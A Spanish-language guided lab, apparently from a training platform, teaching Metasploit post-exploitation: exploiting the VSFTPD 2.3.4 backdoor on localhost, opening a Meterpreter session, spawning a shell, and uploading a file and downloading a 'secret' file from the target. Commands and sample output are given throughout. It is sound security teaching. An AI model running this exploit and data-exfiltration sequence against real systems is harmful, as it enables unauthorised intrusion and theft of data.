Conceptos básicos de post-explotación con Metasploit

LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás los fundamentos de la post-explotación utilizando Metasploit Framework. Primero, obtendrás acceso inicial explotando un servidor FTP vulnerable para establecer una sesión de Meterpreter. Luego, pasarás a la fase de post-explotación. El objetivo de esta etapa es explorar el sistema comprometido, escalar privilegios y exfiltrar datos.

Practicarás comandos esenciales de Meterpreter para interactuar con una sesión, ejecutar comandos de shell y transferir archivos entre la máquina atacante y la víctima. Este laboratorio te guiará desde el exploit inicial hasta las técnicas básicas de post-explotación.

Este es un laboratorio guiado que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 88%. Ha recibido una tasa de aprobación del 95% por parte de los estudiantes.

Obtener acceso inicial

En este paso, obtendrás acceso al sistema objetivo explotando una puerta trasera (backdoor) en el servicio VSFTPD 2.3.4. Esto te proporcionará una sesión de Meterpreter para la post-explotación.

Primero, inicia la consola de Metasploit Framework.

msfconsole -q

Una vez que Metasploit esté en ejecución, selecciona el exploit para la puerta trasera de VSFTPD 2.3.4.

use exploit/unix/ftp/vsftpd_234_backdoor

Ahora, configura las opciones del objetivo y del payload. Dado que el servicio se está ejecutando en la misma máquina, utilizaremos la IP de loopback. El payload predeterminado requiere LHOST y puede fallar con el error "All encoders failed to encode"; configura el codificador para evitar esto:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

Finalmente, lanza el exploit.

exploit

SOLUCIÓN DE PROBLEMAS: Si ves Msf::OptionValidateError One or more options failed to validate: LHOST, ejecuta set LHOST 127.0.0.1. Si ves All encoders failed to encode, ejecuta set Encoder generic/none. Luego, vuelve a ejecutar exploit.

ADVERTENCIA: El primer intento podría fallar con el mensaje "Unable to connect to backdoor on 6200/TCP. Cooldown?" o "Exploit completed, but no session was created." Si esto sucede, simplemente ejecuta el comando exploit de nuevo; el segundo intento debería tener éxito.

Si tienes éxito, se abrirá una sesión de Meterpreter (sesión 1).

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Ahora tienes una sesión de Meterpreter. Para volver al prompt msf > para el siguiente paso, presiona Ctrl+Z y luego y cuando se te pregunte "¿Background session 1?".

Interactuar con la sesión de Meterpreter

Ahora que tienes una sesión de Meterpreter en segundo plano, aprenderás cómo interactuar con ella. El comando sessions lista todas las sesiones activas y solo funciona en el prompt principal de Metasploit (msf exploit(...) >), no dentro de Meterpreter.

Para ver tus sesiones activas, ejecuta:

sessions

Deberías ver tu sesión de Meterpreter con el ID 1.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Para interactuar con la sesión 1, ejecuta:

sessions -i 1

Tu prompt cambiará a meterpreter >, lo que indica que ahora estás dentro de la sesión.

[*] Starting interaction with 1...

meterpreter >

Ya estás listo para ejecutar comandos de post-explotación desde Meterpreter.

Ejecutar comandos de shell con el comando shell

Desde Meterpreter, puedes acceder a una shell del sistema estándar para ejecutar comandos en el objetivo. Esto es útil cuando necesitas ejecutar comandos o scripts específicos de la shell.

En el prompt meterpreter >, escribe:

shell

Se abrirá una shell estándar en el objetivo remoto. El prompt puede parecer que se congela brevemente, pero ya estarás en una shell del sistema y podrás ejecutar comandos directamente.

Process 1654 created.
Channel 1 created.

Ejecuta whoami para confirmar tu contexto de usuario:

whoami
labex

Escribe exit para volver al prompt de Meterpreter.

exit

Tu prompt volverá a ser meterpreter >. En el siguiente paso, usarás esta sesión para cargar un archivo al objetivo.

Cargar archivos con upload /ruta/local /ruta/remota

El comando upload de Meterpreter transfiere archivos desde tu máquina local al objetivo. Hay un archivo llamado local_file.txt en /home/labex/project. Cárgalo a /tmp en la máquina remota.

Desde el prompt meterpreter >, ejecuta:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Verás una salida confirmando la carga:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

En este laboratorio, el objetivo se ejecuta en la misma máquina, por lo que el archivo aparecerá en /tmp/uploaded_file.txt. A continuación, practicarás la operación inversa: descargar un archivo desde el objetivo.

Descargar archivos con download /ruta/remota /ruta/local

El comando download transfiere archivos desde el objetivo a tu máquina local. Hay un archivo llamado secret_data.txt en /tmp en el sistema remoto. Descárgalo a tu directorio de proyecto.

Desde el prompt meterpreter >, ejecuta:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Verás una salida confirmando la descarga. Meterpreter puede crear un directorio llamado downloaded_secret.txt y colocar el archivo dentro de él como secret_data.txt.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

El archivo ya está en tu máquina local. En el paso final, cerrarás la sesión y verificarás el contenido descargado.

Salir de la sesión con el comando exit

En este paso final, cerrarás la sesión de Meterpreter y saldrás de la consola de Metasploit.

Desde el prompt meterpreter >, escribe exit para cerrar la sesión.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Para salir de la consola de Metasploit, escribe exit. Si se te pregunta sobre una sesión activa, usa exit -y para forzar la salida.

exit -y

Verifica el archivo descargado. Como se mencionó anteriormente, es posible que Meterpreter haya creado un directorio; el archivo se encuentra en downloaded_secret.txt/secret_data.txt:

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

¡Felicidades! Has completado un flujo de trabajo completo de explotación y post-explotación.

Resumen

En este laboratorio, has aprendido un flujo de trabajo completo desde el acceso inicial hasta la post-explotación. Comenzaste obteniendo una sesión de Meterpreter mediante un exploit. Practicaste cómo listar e interactuar con sesiones, obtener una shell del sistema estándar desde Meterpreter y dominaste la transferencia de archivos entre la máquina atacante y la víctima utilizando los comandos upload y download. Finalmente, aprendiste cómo cerrar correctamente una sesión y salir de la consola de Metasploit. Estas habilidades son fundamentales para las pruebas de penetración.